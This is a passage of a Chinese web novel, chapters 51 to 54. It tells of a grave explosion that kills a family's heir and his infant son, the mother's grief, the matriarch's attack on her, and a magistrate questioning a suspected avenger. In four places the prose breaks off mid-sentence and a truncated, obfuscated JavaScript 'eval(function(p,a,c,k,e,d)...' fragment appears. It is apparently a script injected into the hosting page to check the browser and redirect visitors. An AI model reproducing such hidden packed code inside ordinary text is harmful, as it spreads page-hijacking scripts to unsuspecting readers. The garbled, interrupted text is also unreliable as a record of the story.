“那种有今天没明天的搏命的日子，大伙儿都是得活且活，得乐且乐。下了战场，总需要寻些现世的东西，把自己拽回来。有人去花楼，有人去喝酒，有人去赌，而我……每次都去附近镇上唯一的一家澡堂泡澡。在热水里泡着泡着，好像就能把那个行走的傀儡，慢慢泡软了。” “出了澡堂，我就去巷口的李记面摊，要一碗面，一壶酒。” 一碗热热的面汤下肚，仿佛重新给他注入了些人气。填饱空空的肚子，他又成了市井中的只顾吃喝拉撒的常人。等慢悠悠地喝完那一壶酒，那些炼狱般的场面，仿佛就像一场噩梦，变轻，变远了。 “对，那李记面摊小有名气，一则是为他家的面，二则，是为那面摊西施，就是素娥。一来二去的，我俩就……对上了眼。” 其时，那种种柔情缱绻，于他，正如沙漠旅人得到的救命甘泉。 曾立脸上不由浮现出温柔的微笑，却又夹杂着些对自己软弱的嘲笑，“但我那时……也没多想。直到一次大战归来，我发现李记面摊被毁了，素娥相依为命的叔婶都死了。我寻去了她家，帮着把她安顿了下来，后来……后来就有了孩子。” 曾立又倒了一杯，一饮而尽，搓了搓有些发僵的手。 他不是个感情细腻的人，但也许是回来后一点点真切感受到的家中变故，也许是孩子的哭闹，也许是此刻的酒意上涌，他只觉自己胸中汪着的那片水，裹挟着种种复杂滋味，一直漫到了他嗓子眼，来回激荡着，不断冲刷着他周身各处。 他一直知道，父亲打定主意要给兄弟俩都寻个高门的媳妇，二弟在婚事上一直不松口，他也从没打算过要违逆父母之命，可谁能想到，竟遇见了素娥。 他一直清楚，让家里同意娶素娥是绝无可能的，这才一直不敢让他爹知道，甚至连孩子都生了，也没敢露一点风声。 他原想着，等孩子大些再带回来。到时候，看在孩子的份上，家里总要让她入府，即便不能做正妻，也能当个妾室。 谁料，这一拖竟把他爹给拖没了。 原本，他头顶高悬着一把利剑，随时可能把他给劈了。可谁料，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那孩子好似听懂了似的，挥舞着小手咿呀作语。曾立不由笑了：“父亲，瞧，孙儿跟您说话呢。” 大件祭品逐次烧起来，一时间，坟山一圈烟火弥漫，烤得人脸疼。 就在这烟火弥漫中，他方才烧纸跪拜的地方，松软的泥土间，几个油纸包着的线头，滋滋地喷起了火花。 *** 马车停在山道上，离墓地有一段距离。奶娘一路找回去，又在马车里找了半天，最后才在车下看到已经被踩脏的小老虎，想是被马儿踩过，又踢了开去。 奶娘弯身捡起，人还未站直，突然听得一声巨响，耳内当即一阵尖鸣，人也不知怎么就一屁股跌坐在了地上。 离大栖山最近的青幛镇上，所有民房霎时间抖了几抖，门窗哗啦啦响成一片，瓦片也被震落多处，摔得连声脆响。 街边小摊上，一个站着跟人说话的食客，发现自己不知怎么就坐了下去。 人们一时都愣住了。 还来不及反应，又是接连几声巨响，这才有人反应过来，开始吵嚷着慌乱奔逃起来——却也没明白发生了什么事。 一时间，街上全是慌乱的人。 终于有人看到天边腾起的黑云，惊叫道：“烟，有烟，是……哪里炸了！” 人们转头一看，果然，那蘑菇似的不断腾空的黑云中，竟开始有烟火呼啸着升空，炸开一朵朵五彩的花来。 “这……那不是大栖山？谁会上那儿放烟火？” “怎么会炸了？能炸什么东西呢？” 说话间，已经有那腿快爱凑热闹的，开始往那边跑了。 这一片惊乱中，没人注意到路边酒铺子上，有个人不动如山。 那人端起一碗浊酒，抬眼望着那烟火，仿佛欣赏着什么瑰丽的景色。他微微一抬手，似乎在遥遥敬酒，随即一饮而尽的瞬间，嘴角露出个压都压不住的笑来。 云鬓山的山道上，卢宽也听到了这一阵巨响，忙叫停了马车，走到山崖边去。 看着那黑云翻腾，烟火绽放，他头也不回地对小厮青汝道：“如果你去做某件事的时候，接连遇到阻挠，可千万记得：这不是什么考验，而是老天向你示警——可千万别去。” 51. 混战 这一阵惊天动地之中，奶娘就地蜷成一团，死死地闭着眼，抱着头。耳中回响着的刺耳尖鸣，直钻脑仁儿，痛得她头晕骨麻。 过了不知多久，周围好像有了些动静，她揉了揉嗡鸣着的耳朵，试探着睁开眼睛。 只见马车侧翻在地。马儿让车辕别倒在地，四蹄空刨着嘶鸣挣扎，却怎么也脱不了身。 奶娘心中一颤，又怕，又忍不住慢慢转头看了过去。 只见那原本披雪的墓地，已是一片焦黑。周围雪地上，星星点点地撒着大大小小的、红的黑的，还有分不清颜色的什么……一种烤糊的肉味，混杂着新鲜的血腥味，随风送了过来。 她顿觉胃里东西猛地往上一涌，里边极速地翻江倒海起来，忙俯身下去，呕吐起来…… 烟火逐渐偃旗息鼓，空中的黑云也慢慢消散，变成一片稀薄的黑纱，笼在大栖山上空。 青幛镇，街头的人慢慢散了，只余三三两两的人，在一旁闲话着，不时往那黑纱笼罩的地方瞅上几眼，指上一指。 路边酒铺上，一坛浊酒已经见底。那男人将最后半碗喝下，抹了抹嘴，摸出几个铜板，往桌上一拍，一瘸一拐地往进城的大路去了。 *** 什么人快步跑入了曾府。不多时，里面就传出了一声凄厉得不似人声的哀嚎。各路游神经过，也得被惊得半空停驻，瞅上一瞅。 一个女人发疯般地冲出后院，过二门，踉跄着扑出大门去。 她没命似地往前扑着，哪里还看脚下，在门口的石阶上一滑，就当空摔了出去。可她丝毫没耽搁地爬起来跑，连看也没顾上看自己一眼。 巷口茶馆里的人，闻声都斜出身子、钻出脑袋，个个伸直了脖子去看，又都面面相觑——不知这是什么人，又是遇上什么事了。不过，他们还没来得及疑惑多会儿，就见曾家一众婆子小厮追了出来。 几个年轻小厮跑在前头，赶上去拦住了那女子的去路。随后，几个看着就力大的婆子喘着粗气上前，七手八脚地将人制住了。 茶馆里的人不由疑惑，看那女子的装扮，也不像下人。可这曾府几时多了个疯女人？ 也不怪这些茶客不认得，这是才到绥陵没几日，还没出门露过面的李素娥。别说他们，就连曾府里见过她的人也不多。 邵夫人不肯认她，她便日日在院子里乖乖待着，不敢乱走乱动一步；不许她去坟上祭奠，她也无二话。可一听到那个消息，她就什么都不管了。 虽被几个婆子们制住，她仍发疯似地挣扎着，竟拉得几个婆子一起滚倒在地。可一人难敌众手，任她死命地挣，也终究挣不开。 想起孩子出门前哭得涨红的脸，那上气不接下气的可怜样子，想起自己狠心将那紧抓自己衣襟的小手，一根根指头掰开的样子，李素娥心口插着的那把尖刀，一圈又一圈地搅动着，拧转着……她挣着挣着，陡然就泄了力，瘫软在地，嚎啕大哭起来。 “你都哭成那样了，可我……和你爹爹，还狠心让你去！你一定是知道了什么，对不对？你不愿去的，你想让娘救你的，可娘……娘哪里知道……” 她一手抓着绞痛的胸口，一手捶着地，在地上刮擦出血来，最后整个伏在了地上：“是为娘害死了你！是为娘对不起你！” 众人虽不明就里，但看着她这个样子，不由跟着红了眼，有几个还抬手擦起泪来。 “都愣着干嘛，”曾铭站在门口，远远地冲愣在原地的仆从道，“还不快扶起来！” 婆子和小厮们如梦初醒，忙将人扶起，半拖半抬了进去。 李素娥已经脱了力，任他们拖抬回去。 被放在榻上是什么样，她就一直什么样，保持那个姿势，双目无神地发着愣，偶尔抬手擦一把满脸的泪， 曾铭看着她，一时也说不出什么安慰的话，叹了口气，只道：“嫂嫂，你在家等着，我……去带他们回家。” 闻言，李素娥呆怔的脸突地一动，眼中一红，眼泪立时又决堤而下。 曾铭不忍卒看，扭开了脸，长吁出一口气，吩咐左右道：“好生看着，一刻不许离人，千万别让她伤着自己。” *** 而邵夫人，听到消息的瞬间就晕了过去。 大丫头檀烟忙上去掐起人中、都掐出血道道了，她才一口气回转过来。 邵夫人一回过神来，就全身猛地一哆嗦，慌乱地四下扫了一遍，眼中又惊又惧，好像在害怕着什么。 众人的目光跟着她看了一圈，分明什么也没有，想起府上这惨死的新魂，不由都瘆了起来，起了一屋子的鸡皮疙瘩。 邵夫人低声喃喃道：“一定是她！一定是她！” 丫头们摸着起着鸡皮疙瘩的手臂，相互看着，谁也不知这个“他”说的是谁。 “……你可不能死。我要你活着，慢慢儿地活，活着看接下来的一场场好戏呢……” 邵夫人跳上榻去，躲在角落里，捂紧了耳朵，可那个声音还是回荡在脑中，怎么也堵不住，赶不走。她慌乱地大叫了起来：“莲生！莲生！” 许嬷嬷这时候偏不见了。 檀烟忙回道：“方才已经吩咐人去许家找了。” 也不知邵夫人听没听见。 只见她在榻上瑟缩了半晌，突然想起什么，手忙脚乱地褪下缠在腕上的佛珠，手上一颗颗捻着，口中喃喃念起什么来。 念着念着，嘴唇翕动得越来越快，面色也越来越暴戾，突地停了，尖叫一声，吓得旁边的小丫头跳了起来。 她猛地睁了眼，目露凶光，大吼道：“来人！来人！” 一边叫，一边已经扑下榻去，边走边将佛珠一圈圈缠回腕上，往外冲了去。 “这个丧门星，就是她这条毒蛇，盯上了我儿，钻进我家里……才几日，就让我儿枉送了性命。都是她害的！” 檀烟心道，不好，定是往李素娥住的院子去，忙让人去叫二公子，自己带着人又是追又是拦的，可哪里拦得下？ 乌泱乌泱一群人，有的追，有的拦，吵吵嚷嚷又浩浩荡荡地进了李素娥住的院子。 里面冷冷清清的，几个下人见了夫人，也不敢拦。 邵夫人冲进房去，见李素娥一脸木然地摊在榻上，眼皮都没抬一下，不由怒火中烧，上前揪着她的衣襟，直接把她拽下榻来，连连趔趄了好几步，好歹让丫头扶住了。 “为什么不是你！为什么死的不是你！”邵夫人上前推搡着，逼得她步步倒退，“你这个丧门星、扫把星！你害死了我儿子！害死了我怀胎十月，辛辛苦苦养大的儿子！” 说完，使尽全身力气一推。 李素娥被推得破案退几步，后腰砰一声撞在桌上，痛得闷哼一声，手一扶却扶了个空，随即桌翻人倒，一起摔倒在地。 邵夫人上去手脚并用，又打又踹。 可她愣是一动不动，不言不语，只不时无意识地吭上一声。 谁知，邵夫人看她这样，愈发火大：“你……你以为，不吱声就行了吗？你装无辜、装可怜就行了吗？你害死了我儿子，还这么好好儿地呆在这儿？我……我打死你！” 檀烟看着实在过头了，忙又上前去拦，也被邵夫人无差别地推开，撞到花架上，顿时盆碎土飞，弄了个灰头土脸。 她也愣怔在地——夫人看着单薄羸弱，说话也总温声细气的，怎会这样泼辣狂躁，跟失心疯了一般。 邵夫人站住了，等喘匀了气：“我今天非打死你，非打死你不可。” 说着，她看看左右，随手操起个细颈花瓶，指着李素娥：“你克死了我儿子！克死我孙子……你现在就给我偿命！” 说着，举起花瓶，照头砸了下去。 那李素娥却充耳不闻，不闪不躲，连眼珠子都没挪动一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然已经翻了脸，邵夫人索性翻到底，不管不顾地道：“来人！把这个扫把星，给我……拖下去，关进柴房！” *** 却说曾铭，都在大门口了，临出发却听到檀烟遣人来报，顿时气不打一处来：“不是让瞒着老夫人吗！” 报信的小丫头嗫嚅道，“小的们也不知，老夫人怎么就……” 府上发生了这样骇人的事，下人们哪里忍得住不嘀咕，被邵夫人听见也只是时间问题，曾铭哪里不知。况且此时也顾不上追责了，他忙又折返进去。 到了李素娥院外，就听里面传出个神经质的疯狂的声音，他一时竟没听出那是自己母亲。 那声音尖利地叫道，“现在就拖出去——” 厢房门口正乱作一团。邵夫人的人在拉，孟珂的人在拦，李素娥被扯得东倒西歪，钗掉发散，简直揉成了块破抹布。 邵夫人这边的一个婆子扯着李素娥，一脚跨出门去，正得意地要抵着门槛好发力，就听到一声断喝。 “住手！” 婆子转头一看，见院里站着的二公子，一时间进也不是，退也不是。 邵夫人见人堵在门口不动了，吼道：“堵在这儿做什么！还不赶紧拖！” 门口的仆人如分水般，站成两道。 曾铭跨进门来：“母亲。” 邵夫人当即如获救星，回头看了一眼孟珂，通红的眼中满是有恃无恐。 孟珂隔着人丛，看向曾铭。曾铭却没看她，径直走到了邵夫人身边。 邵夫人见此，得意地对着孟珂一笑，可下一刻就变了脸，同时瘫软了下去——曾铭抬手一记手刀，正正地劈在了她脑后。 她看向了儿子，满脸的震惊和不敢相信，但还是无力地缓缓阖上了眼皮。 52. 余烬 看着邵夫人倒下，众人不由都怔了一瞬。 曾铭：“还不快把夫人扶回去！” 众人忙放开李素娥，上前去扶夫人。 “等等！” 曾铭扫视了一圈，厉声训道：“听好了！老夫人急火攻心，气糊涂了，脑子一时不太清楚。这几日，不管她吩咐什么，嘴上好好应着就是，回头先来报我。谁敢不经过我，就擅自行事，直接打死，绝不姑息！” 二公子一向温和，从未说过这等重话，众人俱是惊诧，不由相视一眼，齐齐应了。 曾铭又嘱咐檀烟：“不要让老夫人踏出自己的院子。” 回过头来，见孟珂已经在给素娥上药了，回雪正指挥着院里的下人，扶起撞倒的家具物什，清扫地下的残土碎瓷。 他看着孟珂，想说什么，终究又咽了下去，只道：“嫂嫂就拜托你照看一下。我……还得出去。” 孟珂看他：“你放心去吧，我等你回来。” 说完便继续忙去了。 听到此讯的时候，曾铭心内奇异地镇定——早知道曾家的好日子到头了；如今倒有一种忐忑许久的事终于落定的感觉——父亲的死，果然不是结束，而只是个开始。 也不知，这一切怎样才能收尾...... 曾铭回头看了看里面的两个女子，又扫了一圈这诺大的曾府，重重地吁出一口气，径直去了。 屋内，李素娥呆坐着，任人摆布。 虽不说话，但瞧她目光里的迷茫和疑惑，孟珂知道，她在奇怪自己这个陌生人为何会站出来硬钢邵夫人。 孟珂将她的手放在桌上，撩起衣袖上着药，淡淡地道：“我们不认识。也不需要认识。” 想想，这么说她只怕更困惑了，此刻还是别给她添负担了，于是又改口道：“你也看到了，我认识二公子，也算……认识大公子。替他们照顾照顾你，是理所应当，你不必觉得有什么不合适，甚至负担。” 素娥眼中的疑惑散去，重归于死寂。 孟珂揉搓着她手上的淤青：“现如今，这府上你是住不下去了。你若信得过我，就去我府上住，我可每日派人护送你过来，不耽误你……” “不！”李素娥终于出了声，一下又一下机械地摇着头，“我哪儿也不去！我要在这儿陪他们……” “父子”两个字在嘴边，她再也说不下去，眼泪“唰”地就下来了，很快便哭得上气不接下气，身体也跟着剧烈地上下起伏。 回雪忙替她拍背顺气。良久，她才勉强平静了下来，仍微微抽噎着道：“要是我不让他去，要是我跟着去了，有我看着、护着，他也许就不会......” “你若去了，也只是多搭进去一条命罢了。” 孟珂抬眼看着她神色，劝道，“他们已经不在了，你更该为了他们，保全你自己。让他们在九泉之下，放心些。” “刚才这番场面，他们父子定然不愿看到。曾铭是会保你，但毕竟叔嫂有别，他不可能贴身照料。何况曾府正值多事之秋，他也看顾不过来。” “只要你人在屋檐下，人便有一万种办法，暗地里折腾死你。你真要在这儿，日日跟邵夫人缠斗？让你这个生者苦，让逝者忧？” 李素娥目光死寂却坚定：“我现在什么都不在乎。我只想离他们近一点……只想时时刻刻陪着他们。” 看她这样，孟珂也不再劝：“好，既如此，自然是如你所愿。” *** 大栖山上出事的消息很快就传遍了大街小巷。一时间，满绥陵的茶楼食肆里，无不在说这事。 “哎哟哟，那炸得……啧啧，拼都拼不起来了。” “说来也怪，虽说几个家仆当场身死，但起码还留了个全尸，只那曾家儿子和孙子……啧啧，只怕是这曾家造了什么孽！不然怎会只他家三代粉身碎骨？” “对，听说那曾大......曾怀义上好的棺木也被炸出来了，都碎成渣了！几百两雪花银啊！” “可不，啥都碎了。新尸旧骨飞满地，那祖孙三代，简直分都分不出来。真真的血脉交融，不分彼此了！” “听说有个奶娘和随行的小丫头倒是活了下来，但受了大惊吓，人只怕都傻了。” 小半天功夫，随着消息的不胫而走，越来越多人闻讯赶去瞧热闹。最早是周围十里八乡的，随后是城里赶去的，大栖山上人越聚越多，多少年都没见过这样的盛况。 衙门的人赶到时，墓地周围已经让人踩成了一片黑地，到处汪着颜色、内容不明的冰水。 反倒是外围一圈，靠着山崖的地方，因无人踩踏，那融化的雪水，混着红色的血水流出去，形成一条条血水道道，在白雪之上格外醒目。 甫一走近，一股带着焦糊的血腥味当即迎面扑了过来。周冶忙捂着鼻子，忍着呕吐的冲动，堪堪站住了。 洗墨也一把捂住了口鼻：“公子，这曾大人的八字跟您犯冲吧！原本指着年下封印前了事，新年能有新气象。谁想，这还没开印呢，又来！还真是......没完没了上了。” 周冶本就觉得胸口翻涌难受了，让他这么一说，不免更心塞了，不满地瞥了他一眼，冲那雪泥黑地抬了抬下巴：“这……怎么成这样了？” 洗墨已经听了一耳朵了，接口道：“不知怎么的，不多时，这爆炸就被传成了天谴，说这墓是被天雷劈的。接连劈了十几道，引发了天火，又是劈又是烧的，将他一家三代都......然后吧......” 他故弄玄虚地顿了顿，才道，“也不知什么人起的头，说要平天怒，就要千人踩万人踏......要不然，这曾家填罪不够，再降下什么天灾，只怕要累及一城百姓。” 周冶听得皱起了眉头。这招也实在够狠！这天谴招罪一说，搞臭了曾家，让城中人人都对曾家嘴上一通；还引众人来一脚脚踩踏，既可让背后之人发泄一通，还能帮着消灭罪证。即便嫌犯留下什么人走马跑车拉的印，此刻只怕也什么都找不到了。 他方才心塞的地方，此刻像堵了块硬石头，又像是堵了些火药，也想一并自爆算了。 周冶无力地抬手往外一挥：“将这些人......都撵开去。” 又吩咐道，“分两队，一队把周围都挨着搜一遍，看看有没有踪迹。一队，把这土一寸寸翻过，务必找出线索来！尤其是坟头，没有踩踏过的地方，那土一抔一抔，都给我全部翻过、筛过！” 围观众人被官差撵着步步后退，地上本就泥泞难行，又都伸着脖子想多看看、多听听衙门的动静，不免退得磨磨蹭蹭，乱乱嚷嚷。不是你踩了我，就是我推了你，一时间好不混乱。 这些本就爱看热闹，更不嫌事大的人，不免此起彼伏地叫骂，甚至推搡起来。 邀月楼的杂役贾四就是个顶爱凑热闹，也爱顺手制造些热闹的。他这会儿在人堆里也跟着起哄，一通乱吼着推搡周围人。推着推着，突然发现推不动了，嘴里已经准备好开骂了，转头一看，见是个身形精壮的黑脸青年，扫了他一眼，不动如山。 贾四一眼便认出，这是黑石堂的刘昆，跟着孙九爷到邀月阁见梁老爷的时候，他看过几回。不过，他认得人，人不认得他。 在邀月阁那种声色犬马之地，他早练就了一身反应快的本事。那张混不吝的找茬脸，立刻化成了讨好的笑脸，舌头一转，本来要骂出来的话，变成了客气礼让：“哟！对不住！大哥，小的这手......不长眼睛，不听使唤！该打！” 说着，抬起另一只手，“啪啪”地打在自己方才推人的手上，又朝刘昆伸手，“可脏了大哥的衣服？我给你拍拍！” 那刘昆脚下没动，身子一让，就躲开了贾四伸过来的爪子。 他不耐烦地瞥了这人一眼，又看了一眼不远处的周冶，终究没作声，扭头跟着人群往外走了。 旁边人戏谑道：“哟，贾四弟，你也有这么快怂的时候。” 贾四不以为意地拍拍两只手：“认怂不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但邵夫人此刻对这些人完全视而不见。她看一眼灵堂上的棺木，再一看马车上的血迹，心口猛地一阵剧痛，一股甜腥味便涌上了喉头。 檀烟忙去扶，被她一把推开了，径直朝着马车走去。 一夜雪后，晨起晴空万里，雪地都晃得人睁不开眼。可这会儿却风云突变，北风呼啸，黑云翻滚，低低地压在曾府上空，好像就要落在那车顶上。 邵夫人站在车下，看着上面那已经发暗的血迹，抬手去摸，一处又一处。一时间，谁也不敢上去打扰。 孟珂也扶着李素娥进院子来了。 只见院子里站了那么多人，却安静得一根针掉地上都能听见。 也不知过了多久，邵夫人终于收了收，转身要去。可就在转身回头的瞬间，她的脖子却突然卡住了似的，慢慢地回头看去——那马车的上沿，落在顶棚的阴影里，还粘着什么…… 她眼前一黑，顿时站不住了。 一旁的丫鬟婆子忙围上去扶。她无力地抬手挥开众人，口中颤声道，“拿……拿脚凳来！” 众人一时都愣怔在地。 她跺着脚，又喝一声：“拿脚凳来！” 她房里的丫头长明素来伶俐，应着跑开了，很快端来脚凳，紧挨着马车摆好。 邵夫人扶着马车，晃晃悠悠地站了上去。 远远站着的素娥，也明白过来邵夫人是要做什么，身子不由自主地发起抖来，就像北风中摇摇欲坠的枯叶...... 同样抖着的还有邵夫人的手。她那双耷拉着眼皮的三角眼，看着那块东西，小心地将其抠了下来，如珍似宝地捧在手中，又从怀中掏出一张绣帕包上，揣进了怀里。 揣好了，她又伸长了脖子，细细地、一寸寸地检视这马车，连一点碎渣都不放过…… 53. 八字 不知何时，曾铭已经站在了院中。 孟珂看他面上始终奇异的沉静，眼中连丝毫怨愤都找不到。看见自己注视他的目光，也只露出一丝凄苦的笑意，就像水面上漾起的涟漪，倏地就散了。 她将素娥交还给他，也不逗留了。 临走，孟珂看着素娥道：“我知道，你现在觉得，这世上只剩了你一人，觉得无依无靠，觉得已经……生无可恋。但是，相信我，你会慢慢活过来的。你要记得，那些真正在乎你，爱你的人，都会希望你好好活下去，替他们好好照顾自己！” 此刻，她大概什么也听不进去，但在某个万念俱灰的时刻，或许能想起一句半句，也就够了。 顿了顿，她看了曾铭一眼，还是道，“曾家这一切都与你无关，莫听了人几句怨愤之言，就怪责自己。你若改了主意，或有任何需要，可以去熹园找我。若不愿麻烦不熟的人，也可以去衙门找周大人，他会帮你。” 说完，又扫了曾铭一眼，他脸上还是没什么波澜，仿佛这一切跟他并无关系似的。 孟珂不由觉得，自己大概从没真正了解过这个儿时玩伴。 小时候，他就是那种话不多也不少，人不皮也不呆，不惹人厌，但也不特别讨人喜欢的孩子，身上实在没什么特别引人注目的地方，放人堆里没什么存在感的人。 可这次回来，他却渐渐让她觉得，这个看起来面团似的人，里头装的其实是个完全不一样的人。她不知道这种变化是怎么起的，而他如今真实、完整的模样，又是什么样。 就这么想着，不自觉就走到了门口。她一抬眼，便见一个熟悉的身影打马而来。 周冶翻身下马，将缰绳马鞭甩给了洗墨，径直走上前去：“小姐比我这查案的来得都快！” “我一个闲人，自然上哪都快，不像大人公务缠身。” 周冶自嘲地看着她笑，叹道：“打小姐来这绥陵起，周某只管吃喝玩乐的好日子就到头了，这公务......那叫一个没完没了。” 孟珂淡淡地睨了他一眼：“大人说话要谨慎。不知道的，还以为我便是这桩桩案子背后的嫌犯呢。” 周冶在她面前停了脚步：“小姐是嫌犯吗？” 孟珂一笑：“大人查案，难道就靠一张嘴问？” *** 前夜，周冶在熹园的汤池附近，见两个小丫头走过。 其中一个嘀咕道：“馨儿姐姐，你说这眼看就要下大雪，回雪姐姐怎么还带人搬了东西出门。什么事需要劳动她的大驾，冒风雪亲自去办。” 一听这话，周冶就站住了脚，跟侍剑四目相对——他俩方才明明看到了回雪。 馨儿脸一沉道：“芳儿，不该管别管，不该说的别说，这熹园的规矩你不知道吗？让其他人听见，报上去，准撵了你出去。” “是，馨儿姐姐说得是，我想着，同姐姐私下里说说，也不打紧……” 这小丫头一直不太老实，可上头也留着她，只吩咐盯紧她的一举一动。馨儿道：“只此一次，再有下回，我也不会护你了。” 那芳儿忙连连称是，走着走着，却暗暗转头往周冶的方向看去。 周冶和侍剑忙一闪身躲了，待两个小丫头走远了，才走出来。 只一个眼神，侍剑便明白了，特去探查，见回雪明明就在烟雨斋内，不由想起之前的猜测来，果真有另一个回雪，专在暗处行事？ 此事隐秘，也无证据，孟珂定然不愿被人叫破。周冶也按下不提，顿了顿，说道：“我这不是在问案，而是作为……朋友，问你。” “朋友？”孟珂咂摸着这两个字，意味复杂地笑了，带着戏谑的口吻道，“这位朋友，你不会不明白，若是我做的，我自不会告诉你；若不是我做的，更不需要告诉你。” 周冶目光炯炯，直视孟珂的眼睛，似乎想从中找到答案：“我不指望小姐你知无不言，可我……希望不是你。” 当初的事，比她大不了几岁的曾立应该并不曾参与，何况还有个无辜的婴孩。她会做到这一步吗？她是这样的人吗？ 孟珂仍带着轻笑，不置可否地道：“我说是，便是吗？我说不是，便不是吗？” 周冶道：“爆炸的消息一传进城，就有人散布天谴之说。” “这话一传开，城中关于曾家的口风就变了。说那曾怀义表面是大善人，背后不知做了多少恶事。说他到了阴司地狱，被十殿阎罗问罪，发现他的罪责罄竹难书，引得上天震怒——只他一人偿命不够，还要惩罚儿孙，一并抵命。” “若这账还算不过，曾家只怕还要继续遭殃……甚至祸及一城百姓。现在，有些百姓恨不能上曾府去，把人都绑了来祭天......” “这散布天谴消息的人是谁？鼓动人上大栖山，去踩踏现场的是谁？用这个说法，让曾家被唾弃，预告更多祸事，甚至挑动民怨的……又是谁？” 孟珂：“你还别说，这个做法还真挺厉害的。想到这法子的人实在深谙人心。在人群中淡淡撒那么几句流言，就能起到这样神奇的功效。妙啊！” 周冶：“你......” 孟珂冷笑道：“当初含泪送殡、可惜他曾怀义壮年而逝的人，如今何在？怎么就没人替他解释解释，没人维护维护他的死后声名？他这个大善人，但凡对人有了威胁，立刻就成了过街老鼠。果真是人走茶凉，利尽而散，连半个铁杆也没有？” “哦，对了，他最信任的高升，被大人你关了起来。纵是有心，也没机会帮他主子分辩分辩。其他人嘛，此刻也不想触民怨的霉头。惹急了，要是把他们也当成帮凶，一起绑去祭天呢？” “不过，也不能怪百姓翻脸不认人。他曾怀义当土皇帝那么久，愚弄了多少人，吸取多少民脂民膏？如今便是遭受些反噬，也不为过吧？他瞧不起看不起的百姓，就只能任他鱼肉吗？” “当然，这只是我对大人你这个朋友，私下里闲话几句。我可没说，我赞成这做法。更没说，这都是我做的。大人可千万别听岔了！” 周冶半晌没说话，又道：“现场虽然被破坏得很糟，但火药爆炸的痕迹是抹不掉的。绥陵虽然多山，却没什么矿山。最容易得到火药的途径便是制售烟火的作坊。附近镇上的人也看到了，爆炸的时候伴有烟火爆燃。” “这一批火药，跟烟火脱不开干系！而烟火的制售和大批买卖都有记录可查。足以造成那么大爆炸的买家名录，不难查出……” 孟珂接过话道：“而我恰恰曾在年下买了大批烟火，但没燃放多少，对吧？” 周冶却没有接过话茬往下说，转而道：“更有意思的是，曾二公子又一次不愿衙门查办此案。兄长和侄儿都出了事，他就不想知道怎么回事吗？他父亲之死，他言语之间也想当成是意外，不想官府查......这到底是为何？” 孟珂故作思考道：“大人这话听着，二公子是很可疑啊。会不会是曾家内部为了争产、夺权而内斗？这些问题，是不是应该进门去，直接问曾家二公子？” 周冶：“若是他，当初未婚妻‘霍家小姐’被当成嫌犯时，他为何不推到她身上，撇清自己？反而不愿查办，给自己招嫌疑？” 孟珂笑着，下巴往门口一抬：“大人，你应该转身、进门，问他去！” 说完，冲他点了点头，扬长而去。 身后留下一句，“我就在熹园。你若找到证据，随时来提便是。” 周冶不舒服一天的心，更塞了。 侍剑看着公子一脸心梗的模样，突然福至心灵道：“我想明白了一件事！” 周冶方才说得浑然忘我，早忘记身边还有个人，闻声被吓得头皮一跳，转头又惊又好笑地看侍剑。他的脑子都供身体用了，还能想到什么？ 侍剑抱着手，看着孟珂的身影，一脸笃定地道：“跟公子你八字不合的，不是曾怀义，而是这孟小姐。” 周冶：“……” 他摇摇头，心道，我真是脑子抽了，才会听侍剑能想到什么，转身直入府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨管家：“他能有什么事？这些日子做事都魂不守舍的。现在可好，连个人影都不见了。” 话音未落，就听苏姒在二楼倚栏笑骂：“贾四！你个死小子！让你出去买个东西，死哪儿去了？” 杨管家笑道：“还替人说话，先管好你自己吧！” 贾四忙噔噔噔地跑上楼去，拿出买好的桂花油：“我就是听人说，青幛镇上陈记秘制的桂花油，比香云楼的还好，这才特地出城替姑娘寻来。姑娘看看，是不是要好些？” “青幛镇？”苏姒哼了一声，接过来道，“你小子看热闹去了吧，还在这儿跟我扯什么大旗呢。” “这......顺便嘛，也去瞅了一眼。”贾四压低了声音，故弄玄虚地道，“姑娘猜，我在那儿遇到了谁？” “孙九爷手下的刘昆！连他都去了，可见是城中多少年难遇的热闹。” 苏姒打开瓶盖，倒了一点在虎口处，轻轻嗅了嗅，露出个满意的笑，睨了他一眼：“行了，这顿鞭子给你记下了，日后一并算。” 说完，转身回房。推门一看，见梁云钦坐在桌前，一听推门声就看了过来。 “外边那人说什么，看见了孙九爷手下？” “老爷怎么也……”苏姒说着又想起来，“哦，对，那毕竟是曾家的事，老爷跟曾大人这么多年交情……” “说是孙九爷手下的谁？”梁云钦继续问。 苏姒看着梁云钦，说道：“刘昆。我没记错的话，就是九爷经常带在身边的那个，黑脸的小子？想必，九爷跟你一样，也念着与曾大人的交情，派人去看看？” 梁云钦冷笑一声，没言语，又心事重重地捏着酒杯发起呆来。 近些日子，他常这样闷闷不乐，一坐就是半晌。 良久，他抬起头来，看着窗外的升平市井，心底来回窜起一股前所未有的不安来。 54. 命数 孟珂一走，邵夫人转头看着儿子曾铭，心头还念着他劈向自己后脑的那一掌。 